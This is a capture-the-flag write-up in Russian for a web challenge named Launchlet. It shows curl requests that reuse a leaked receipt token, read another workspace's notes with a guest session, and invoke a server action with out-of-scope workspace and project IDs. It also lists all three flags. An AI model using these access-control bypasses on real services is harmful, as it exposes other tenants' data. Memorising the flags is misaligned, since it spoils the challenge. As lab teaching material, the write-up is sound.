Files
Serdtse-Sysoly/qualifiers/launchlet-web-medium/WRITEUP.md
T
2026-09-17 00:50:07 +03:00

77 lines
4.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<h1 align="center">Launchlet</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
<img src="https://img.shields.io/badge/difficulty-medium-orange" alt="medium"/>
</p>
Launchlet — конструктор приложений с preview, панелью деплоя и API данных. На старте есть URL сервиса. В клиентских манифестах находятся токены, идентификаторы и описания трёх серверных операций с неполной проверкой прав.
## Решение
Открываем DevTools и смотрим, что загружает интерфейс:
| Ресурс | Что узнаём |
|---|---|
| `/api/app/bootstrap` | Параметры preview и API данных |
| `/assets/build-manifest.json` | Токен получения build receipt |
| `/assets/mock-supabase-client.js` | Ключ API и гостевую сессию |
| `/assets/server-reference-manifest.json` | Идентификатор серверного действия |
### Токен receipt
В `build-manifest.json` находим проект `launchlet-demo-board`, `previewReceipt = lrec_preview_demo_2026` и адрес `/api/receipts/redeem`. Пробуем предъявить найденный токен:
```bash
curl -sS http://<host>:31380/api/receipts/redeem \
-H 'Content-Type: application/json' \
--data '{"receipt":"lrec_preview_demo_2026","project":"launchlet-demo-board"}'
```
Сервер принимает его как право прочитать receipt и возвращает первый флаг. Build pipeline оставил в публичном артефакте повторно используемый токен доступа.
### Доступ к workspace
Из bootstrap или клиентского JS берём `anonKey = ll_anon_mock_publishable` и сессию `preview_guest_session`. Интерфейс читает `workspace_notes` с фильтром `workspace_id=eq.ws-launchlet-public`.
Проверяем, ограничивает ли сессия доступ к строкам. В имени workspace заменяем `public` на `internal`, сохраняя гостевой ключ и сессию:
```bash
curl -sS 'http://<host>:31380/api/db/rest/v1/workspace_notes?select=workspace_id,title,body&workspace_id=eq.ws-launchlet-internal' \
-H 'apikey: ll_anon_mock_publishable' \
-H 'Authorization: Bearer preview_guest_session'
```
Получаем внутреннюю заметку со вторым флагом. API проверяет ключ и наличие preview-сессии, но выбирает доступные строки по переданному query-параметру. Workspace сессии с ним не сверяется.
### Область серверного действия
В `server-reference-manifest.json` открываем запись `serverActions.inspectDeploy`. Из неё берём идентификатор `act_6f4b9a2c1d0e8a71` и endpoint `/api/actions/invoke`. Манифест также описывает `intendedScope` — область действия. Проверяем, привязывает ли сервер переданные аргументы к этой области.
Для вызова нужны оба идентификатора, `workspaceId` и `projectId`. Проверяем пару `ws-launchlet-internal` и `proj-enterprise-rollout`, сохраняя публичный проект в заголовке `X-Launchlet-Preview`.
```bash
curl -sS http://<host>:31380/api/actions/invoke \
-H 'Content-Type: application/json' \
-H 'X-Launchlet-Preview: launchlet-demo-board' \
--data '{
"actionId":"act_6f4b9a2c1d0e8a71",
"args":{
"workspaceId":"ws-launchlet-internal",
"projectId":"proj-enterprise-rollout"
}
}'
```
Dispatcher принимает чужие workspace и project с гостевым preview-контекстом и возвращает третий флаг. Проверка идентификатора действия есть, а привязки аргументов к разрешённой области нет. В этой ветке, как и при чтении заметок, параметры клиента позволяют выбрать чужие данные.
[Солвер](solve/solve.py).
## Все этапы
| Этап | Флаг |
|---|---|
| 1 | `caplag{preview_manifest_kept_the_receipt}` |
| 2 | `caplag{anon_key_needs_real_rls}` |
| 3 | `caplag{server_actions_need_scope_checks}` |